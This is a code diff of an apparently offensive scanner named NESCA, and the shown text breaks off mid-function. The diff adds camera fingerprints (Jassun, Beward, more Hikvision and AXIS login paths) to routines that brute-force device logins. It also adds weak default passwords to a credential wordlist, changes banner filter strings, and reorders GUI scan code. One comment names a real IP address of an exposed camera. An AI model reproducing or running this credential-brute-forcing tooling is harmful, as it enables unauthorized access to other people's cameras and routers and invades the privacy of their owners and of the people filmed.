if (Utils::ustrstr(buffcpy, "WEB SERVICE") != -1
|
||||||
|
&& Utils::ustrstr(buffcpy, "jsmain/liveview.js") != -1
|
||||||
|
) return 54; //Beward (http://46.146.243.88:88/login.asp)
|
||||||
|
|
||||||
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
||||||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
||||||
@ -1209,7 +1219,7 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
|
|||||||
|
|
||||||
int _specBrute(const char *ip, int port,
|
int _specBrute(const char *ip, int port,
|
||||||
char *finalstr, int flag,
|
char *finalstr, int flag,
|
||||||
char *path, char *comment, char *cp, int size)
|
char *path, char *comment, char *cp, int size, const std::string *buffer = NULL)
|
||||||
{
|
{
|
||||||
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
|
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
|
||||||
|
|
||||||
@ -1223,7 +1233,6 @@ int _specBrute(const char *ip, int port,
|
|||||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||||
{
|
{
|
||||||
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
||||||
|
|
||||||
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@ -2479,7 +2488,9 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 34) //Hikvision ip cam
|
else if (flag == 34) //Hikvision ip cam
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size);
|
if (_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, size) == -1){
|
||||||
|
_specBrute(ip, port, "[Hikvision] IP Camera", flag, "/PSIA/Custom/HIK/userCheck", "Basic Authorization", cp, size);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else if (flag == 35) //EasyCam
|
else if (flag == 35) //EasyCam
|
||||||
{
|
{
|
||||||
@ -2584,10 +2595,20 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, port, "[WEBCAMXP] WEB IP Camera", flag, "WEB Authorization", cp, size, "WEBCAMXP");
|
_specWEBIPCAMBrute(ip, port, "[WEBCAMXP] WEB IP Camera", flag, "WEB Authorization", cp, size, "WEBCAMXP");
|
||||||
}
|
}
|
||||||
|
else if (flag == 53) //Jassun
|
||||||
|
{
|
||||||
|
_specWEBIPCAMBrute(ip, port, "[JASSUN] WEB IP Camera", flag, "WEB Authorization", cp, size, "JASSUN");
|
||||||
|
}
|
||||||
|
else if (flag == 54) //Beward
|
||||||
|
{
|
||||||
|
_specWEBIPCAMBrute(ip, port, "[BEWARD] WEB IP Camera", flag, "WEB Authorization", cp, size, "BEWARD");
|
||||||
|
}
|
||||||
else if (flag == 20) //AXIS Camera
|
else if (flag == 20) //AXIS Camera
|
||||||
{
|
{
|
||||||
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1){
|
if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size) == -1) {
|
||||||
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size);
|
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1) {
|
||||||
|
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (flag == 19) //reecam cameras
|
else if (flag == 19) //reecam cameras
|
||||||
|
@ -25,4 +25,9 @@ guest
|
|||||||
backup
|
backup
|
||||||
cgadmin
|
cgadmin
|
||||||
0000
|
0000
|
||||||
1111
|
1111
|
||||||
|
666666
|
||||||
|
888888
|
||||||
|
777777
|
||||||
|
555555
|
||||||
|
111222333
|
@ -1,6 +1,8 @@
|
|||||||
Unable to open
|
Unable to open
|
||||||
WebDAV
|
WebDAV
|
||||||
Ruckus Wireless
|
Ruckus Wireless
|
||||||
|
Access is denied
|
||||||
|
access denied
|
||||||
Company Limited
|
Company Limited
|
||||||
àðåíäà ñåðâ
|
àðåíäà ñåðâ
|
||||||
首页
|
首页
|
||||||
@ -43,7 +45,6 @@ Authorization Required
|
|||||||
ïîêóï
|
ïîêóï
|
||||||
yadro.ru
|
yadro.ru
|
||||||
liveinternet
|
liveinternet
|
||||||
#[Dlink]
|
|
||||||
DIR-100
|
DIR-100
|
||||||
DIR-615
|
DIR-615
|
||||||
DIR-140
|
DIR-140
|
||||||
@ -75,14 +76,11 @@ no connections allowed
|
|||||||
pocket-solution
|
pocket-solution
|
||||||
trustclick
|
trustclick
|
||||||
òîðã
|
òîðã
|
||||||
#[/Dlink]
|
|
||||||
530 User access denied
|
|
||||||
prelogin
|
prelogin
|
||||||
service temporarily unavailable
|
service temporarily unavailable
|
||||||
service is temporary unavailable
|
service is temporary unavailable
|
||||||
service unavailable
|
service unavailable
|
||||||
403 - forbidden
|
403 - forbidden
|
||||||
403 access denied
|
|
||||||
is still available
|
is still available
|
||||||
php framework
|
php framework
|
||||||
BlueBean
|
BlueBean
|
||||||
@ -464,7 +462,6 @@ olaHola
|
|||||||
Wireless N ADSL
|
Wireless N ADSL
|
||||||
Account Suspended
|
Account Suspended
|
||||||
Session limit reached
|
Session limit reached
|
||||||
Access Error: Access Denied
|
|
||||||
Aethra
|
Aethra
|
||||||
meble
|
meble
|
||||||
microsoft exchange
|
microsoft exchange
|
||||||
@ -693,7 +690,6 @@ TP-LINK Wireless
|
|||||||
RT-N
|
RT-N
|
||||||
RT-G
|
RT-G
|
||||||
dir320
|
dir320
|
||||||
Access denied for user
|
|
||||||
underconstr
|
underconstr
|
||||||
test page
|
test page
|
||||||
has been banned
|
has been banned
|
||||||
|
@ -27,7 +27,6 @@ SOURCES +=\
|
|||||||
DrawerTh_VoiceScanner.cpp \
|
DrawerTh_VoiceScanner.cpp \
|
||||||
msgcheckerthread.cpp \
|
msgcheckerthread.cpp \
|
||||||
nesca_3.cpp \
|
nesca_3.cpp \
|
||||||
nesca_startModule.cpp \
|
|
||||||
piestat.cpp \
|
piestat.cpp \
|
||||||
progressbardrawer.cpp \
|
progressbardrawer.cpp \
|
||||||
STh.cpp \
|
STh.cpp \
|
||||||
|
450
nesca_3.cpp
450
nesca_3.cpp
@ -531,13 +531,7 @@ void SetValidators()
|
|||||||
QRegExp("([\\d*|.|//|-])+"),
|
QRegExp("([\\d*|.|//|-])+"),
|
||||||
NULL
|
NULL
|
||||||
);
|
);
|
||||||
ui->ipLine->setValidator(validator);
|
|
||||||
|
|
||||||
validator = new QRegExpValidator(QRegExp("(\\d{1,5}[,|-]\\s{0,1})+"), NULL);
|
|
||||||
ui->ipmPortLine->setValidator(validator);
|
|
||||||
ui->dnsPortLine->setValidator(validator);
|
|
||||||
ui->importPortLine->setValidator(validator);
|
|
||||||
|
|
||||||
validator = new QRegExpValidator(QRegExp("\\d{1,3}"), NULL);
|
validator = new QRegExpValidator(QRegExp("\\d{1,3}"), NULL);
|
||||||
ui->importThreads->setValidator(validator);
|
ui->importThreads->setValidator(validator);
|
||||||
ui->threadLine->setValidator(validator);
|
ui->threadLine->setValidator(validator);
|
||||||
@ -1267,74 +1261,6 @@ void nesca_3::activatePieStatBut()
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
bool stopFirst;
|
|
||||||
void nesca_3::importAndScan()
|
|
||||||
{
|
|
||||||
if(startFlag == false)
|
|
||||||
{
|
|
||||||
if(trackerOK)
|
|
||||||
{
|
|
||||||
if(ui->linePersKey->text().size() != 0)
|
|
||||||
{
|
|
||||||
CheckPersKey(2);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionStartScanImport();
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
ui->importButton->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: yellow;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
|
|
||||||
ui->importButton->setText("Wait...");
|
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
|
||||||
globalScanFlag = false;
|
|
||||||
|
|
||||||
if(stopFirst == false)
|
|
||||||
{
|
|
||||||
stopFirst = true;
|
|
||||||
ui->importButton->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: red;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
|
|
||||||
ui->importButton->setText("STOP!");
|
|
||||||
stt->doEmitionBlockButton(true);
|
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
|
||||||
importFileName = "";
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
ui->importButton->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: yellow;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
|
|
||||||
ui->importButton->setText("Wait...");
|
|
||||||
stt->doEmitionYellowFoundData("Wait, killing threads...");
|
|
||||||
STTTerminate();
|
|
||||||
};
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
void nesca_3::switchDataFields()
|
void nesca_3::switchDataFields()
|
||||||
{
|
{
|
||||||
if(ui->switcherBut->text() == "<")
|
if(ui->switcherBut->text() == "<")
|
||||||
@ -1456,7 +1382,6 @@ void nesca_3::slotClearLogs()
|
|||||||
ui->BAText->clear();
|
ui->BAText->clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
int c = 1;
|
int c = 1;
|
||||||
void nesca_3::slotSaveImage(QAction *qwe)
|
void nesca_3::slotSaveImage(QAction *qwe)
|
||||||
{
|
{
|
||||||
@ -2015,130 +1940,6 @@ void nesca_3::smReaction()
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::IPScanSeq()
|
|
||||||
{
|
|
||||||
if(ui->ipLine->text() != "")
|
|
||||||
{
|
|
||||||
if(ui->ipmPortLine->text() != "")
|
|
||||||
{
|
|
||||||
stopFirst = false;
|
|
||||||
ui->tabMainWidget->setTabEnabled(1, false);
|
|
||||||
ui->tabMainWidget->setTabEnabled(2, false);
|
|
||||||
|
|
||||||
saveOptions();
|
|
||||||
|
|
||||||
stt->setMode(0);
|
|
||||||
stt->setTarget((ui->ipLine->text().indexOf("-") > 0 ? ui->ipLine->text() :
|
|
||||||
(ui->ipLine->text().indexOf("/") < 0 ? ui->ipLine->text() + "-" + ui->ipLine->text() : ui->ipLine->text())
|
|
||||||
));
|
|
||||||
stt->setPorts(ui->ipmPortLine->text().replace(" ", ""));
|
|
||||||
stt->start();
|
|
||||||
|
|
||||||
startFlag = true;
|
|
||||||
ui->startScanButton_3->setText("Stop");
|
|
||||||
ui->startScanButton_3->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: red;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
ui->dataText->clear();
|
|
||||||
}
|
|
||||||
else stt->doEmitionRedFoundData("No ports specified!");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
void nesca_3::DNSScanSeq()
|
|
||||||
{
|
|
||||||
if(ui->lineEditStartIPDNS->text() != "")
|
|
||||||
{
|
|
||||||
if(ui->dnsPortLine->text() != "")
|
|
||||||
{
|
|
||||||
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
|
|
||||||
{
|
|
||||||
stopFirst = false;
|
|
||||||
ui->tabMainWidget->setTabEnabled(0, false);
|
|
||||||
ui->tabMainWidget->setTabEnabled(2, false);
|
|
||||||
|
|
||||||
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
|
|
||||||
ui->lineEditStartIPDNS->setText(lst[0]);
|
|
||||||
QString topLevelDomainStr;
|
|
||||||
for(int i = 1; i < lst.size(); ++i)
|
|
||||||
{
|
|
||||||
topLevelDomainStr += ".";
|
|
||||||
topLevelDomainStr += lst[i];
|
|
||||||
};
|
|
||||||
ui->lineILVL->setText(topLevelDomainStr);
|
|
||||||
};
|
|
||||||
|
|
||||||
saveOptions();
|
|
||||||
|
|
||||||
stt->setMode(1);
|
|
||||||
stt->setTarget(ui->lineEditStartIPDNS->text());
|
|
||||||
stt->setPorts(ui->dnsPortLine->text().replace(" ", ""));
|
|
||||||
stt->start();
|
|
||||||
|
|
||||||
startFlag = true;
|
|
||||||
ui->startScanButton_4->setText("Stop");
|
|
||||||
ui->startScanButton_4->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: red;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
ui->dataText->clear();
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("No ports specified!");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("Wrong mask input.");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
void nesca_3::ImportScanSeq()
|
|
||||||
{
|
|
||||||
QString fileName;
|
|
||||||
|
|
||||||
if(importFileName.size() == 0) fileName = QFileDialog::getOpenFileName(this, tr("Open File"),
|
|
||||||
"",
|
|
||||||
tr("Files (*.txt)")
|
|
||||||
);
|
|
||||||
else fileName = importFileName;
|
|
||||||
|
|
||||||
if(fileName != "")
|
|
||||||
{
|
|
||||||
stopFirst = false;
|
|
||||||
ui->tabMainWidget->setTabEnabled(0, false);
|
|
||||||
ui->tabMainWidget->setTabEnabled(1, false);
|
|
||||||
|
|
||||||
_LoadPersInfoToLocalVars(savedTabIndex);
|
|
||||||
|
|
||||||
stt->setMode(-1);
|
|
||||||
stt->setTarget(fileName);
|
|
||||||
stt->setPorts(ui->importPortLine->text().replace(" ", ""));
|
|
||||||
stt->start();
|
|
||||||
|
|
||||||
startFlag = true;
|
|
||||||
pbTh->start();
|
|
||||||
ui->importButton->setText("Stop");
|
|
||||||
ui->importButton->setStyleSheet(
|
|
||||||
" #importButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: red;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
ui->dataText->clear();
|
|
||||||
}
|
|
||||||
else stt->doEmitionYellowFoundData("Empty filename.");
|
|
||||||
}
|
|
||||||
|
|
||||||
QLabel *smsgLbl;
|
QLabel *smsgLbl;
|
||||||
QLabel *smsgNLbl;
|
QLabel *smsgNLbl;
|
||||||
void nesca_3::slotShowServerMsg(QString str)
|
void nesca_3::slotShowServerMsg(QString str)
|
||||||
@ -2695,24 +2496,7 @@ void nesca_3::ChangePingerOK(bool val)
|
|||||||
else ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;");
|
else ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;");
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::STTTerminate()
|
bool stopFirst;
|
||||||
{
|
|
||||||
globalScanFlag = false;
|
|
||||||
startFlag = false;
|
|
||||||
importFileName = "";
|
|
||||||
ui->tabMainWidget->setTabEnabled(0, true);
|
|
||||||
ui->tabMainWidget->setTabEnabled(1, true);
|
|
||||||
ui->tabMainWidget->setTabEnabled(2, true);
|
|
||||||
ui->tabMainWidget->setTabEnabled(3, true);
|
|
||||||
BrutingThrds = 0;
|
|
||||||
setButtonStyleArea();
|
|
||||||
stt->doEmitionUpdateArc(0);
|
|
||||||
ui->startScanButton_3->setText("Start");
|
|
||||||
ui->startScanButton_4->setText("Start");
|
|
||||||
ui->importButton->setText("Import");
|
|
||||||
ui->labelStatus_Value->setText("Idle");
|
|
||||||
}
|
|
||||||
|
|
||||||
void nesca_3::startScanButtonClicked()
|
void nesca_3::startScanButtonClicked()
|
||||||
{
|
{
|
||||||
if(startFlag == false)
|
if(startFlag == false)
|
||||||
@ -2742,12 +2526,12 @@ void nesca_3::startScanButtonClicked()
|
|||||||
ui->startScanButton_3->setStyleSheet(
|
ui->startScanButton_3->setStyleSheet(
|
||||||
" QPushButton {"
|
" QPushButton {"
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
"color: red;"
|
"color: yellow;"
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
"}"
|
"}"
|
||||||
);
|
);
|
||||||
|
|
||||||
ui->startScanButton_3->setText("STOP!");
|
ui->startScanButton_3->setText("Wait...");
|
||||||
stt->doEmitionBlockButton(true);
|
stt->doEmitionBlockButton(true);
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
}
|
}
|
||||||
@ -2798,14 +2582,15 @@ void nesca_3::startScanButtonClickedDNS()
|
|||||||
ui->startScanButton_4->setStyleSheet(
|
ui->startScanButton_4->setStyleSheet(
|
||||||
" #startScanButton_4 {"
|
" #startScanButton_4 {"
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
"color: red;"
|
"color: yellow;"
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
"}"
|
"}"
|
||||||
);
|
);
|
||||||
|
|
||||||
ui->startScanButton_4->setText("STOP!");
|
ui->startScanButton_4->setText("Wait...");
|
||||||
stt->doEmitionBlockButton(true);
|
stt->doEmitionBlockButton(true);
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
|
STTTerminate();
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -2825,6 +2610,201 @@ void nesca_3::startScanButtonClickedDNS()
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void nesca_3::importAndScan()
|
||||||
|
{
|
||||||
|
if (startFlag == false)
|
||||||
|
{
|
||||||
|
if (trackerOK)
|
||||||
|
{
|
||||||
|
if (ui->linePersKey->text().size() != 0)
|
||||||
|
{
|
||||||
|
CheckPersKey(2);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionStartScanImport();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ui->importButton->setStyleSheet(
|
||||||
|
" QPushButton {"
|
||||||
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
|
"color: yellow;"
|
||||||
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
|
"}"
|
||||||
|
);
|
||||||
|
|
||||||
|
ui->importButton->setText("Wait...");
|
||||||
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
|
globalScanFlag = false;
|
||||||
|
|
||||||
|
if (stopFirst == false)
|
||||||
|
{
|
||||||
|
stopFirst = true;
|
||||||
|
ui->importButton->setStyleSheet(
|
||||||
|
" QPushButton {"
|
||||||
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
|
"color: yellow;"
|
||||||
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
|
"}"
|
||||||
|
);
|
||||||
|
|
||||||
|
ui->importButton->setText("Wait...");
|
||||||
|
stt->doEmitionBlockButton(true);
|
||||||
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
|
importFileName = "";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ui->importButton->setStyleSheet(
|
||||||
|
" QPushButton {"
|
||||||
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
|
"color: yellow;"
|
||||||
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
|
"}"
|
||||||
|
);
|
||||||
|
|
||||||
|
ui->importButton->setText("Wait...");
|
||||||
|
stt->doEmitionYellowFoundData("Wait, killing threads...");
|
||||||
|
STTTerminate();
|
||||||
|
};
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
void nesca_3::IPScanSeq()
|
||||||
|
{
|
||||||
|
if (ui->ipLine->text() != "")
|
||||||
|
{
|
||||||
|
if (ui->ipmPortLine->text() != "")
|
||||||
|
{
|
||||||
|
ui->ipLine->text().replace("http://", "");
|
||||||
|
ui->ipLine->text().replace("https://", "");
|
||||||
|
ui->ipLine->text().replace("ftp://", "");
|
||||||
|
if (ui->ipLine->text()[ui->ipLine->text().length() - 1] == '/') ui->ipLine->text()[ui->ipLine->text().length() - 1] = '\0';
|
||||||
|
stopFirst = false;
|
||||||
|
ui->tabMainWidget->setTabEnabled(1, false);
|
||||||
|
ui->tabMainWidget->setTabEnabled(2, false);
|
||||||
|
|
||||||
|
saveOptions();
|
||||||
|
|
||||||
|
stt->setMode(0);
|
||||||
|
stt->setTarget((ui->ipLine->text().indexOf("-") > 0 ? ui->ipLine->text() :
|
||||||
|
(ui->ipLine->text().indexOf("/") < 0 ? ui->ipLine->text() + "-" + ui->ipLine->text() : ui->ipLine->text())
|
||||||
|
));
|
||||||
|
stt->setPorts(ui->ipmPortLine->text().replace(" ", ""));
|
||||||
|
stt->start();
|
||||||
|
|
||||||
|
startFlag = true;
|
||||||
|
ui->startScanButton_3->setText("Stop");
|
||||||
|
ui->startScanButton_3->setStyleSheet(
|
||||||
|
" QPushButton {"
|
||||||
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
|
"color: red;"
|
||||||
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
|
"}"
|
||||||
|
);
|
||||||
|
ui->dataText->clear();
|
||||||
|
}
|
||||||
|
else stt->doEmitionRedFoundData("No ports specified!");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
void nesca_3::DNSScanSeq()
|
||||||
|
{
|
||||||
|
if (ui->lineEditStartIPDNS->text() != "")
|
||||||
|
{
|
||||||
|
if (ui->dnsPortLine->text() != "")
|
||||||
|
{
|
||||||
|
if (ui->lineEditStartIPDNS->text().indexOf(".") > 0)
|
||||||
|
{
|
||||||
|
stopFirst = false;
|
||||||
|
ui->tabMainWidget->setTabEnabled(0, false);
|
||||||
|
ui->tabMainWidget->setTabEnabled(2, false);
|
||||||
|
|
||||||
|
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
|
||||||
|
ui->lineEditStartIPDNS->setText(lst[0]);
|
||||||
|
QString topLevelDomainStr;
|
||||||
|
for (int i = 1; i < lst.size(); ++i)
|
||||||
|
{
|
||||||
|
topLevelDomainStr += ".";
|
||||||
|
topLevelDomainStr += lst[i];
|
||||||
|
};
|
||||||
|
ui->lineILVL->setText(topLevelDomainStr);
|
||||||
|
};
|
||||||
|
|
||||||
|
saveOptions();
|
||||||
|
|
||||||
|
stt->setMode(1);
|
||||||
|
stt->setTarget(ui->lineEditStartIPDNS->text());
|
||||||
|
stt->setPorts(ui->dnsPortLine->text().replace(" ", ""));
|
||||||
|
stt->start();
|
||||||
|
|
||||||
|
startFlag = true;
|
||||||
|
ui->startScanButton_4->setText("Stop");
|
||||||
|
ui->startScanButton_4->setStyleSheet(
|
||||||
|
" QPushButton {"
|
||||||
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
|
"color: red;"
|
||||||
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
|
"}"
|
||||||
|
);
|
||||||
|
ui->dataText->clear();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("No ports specified!");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("Wrong mask input.");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
void nesca_3::ImportScanSeq()
|
||||||
|
{
|
||||||
|
QString fileName;
|
||||||
|
|
||||||
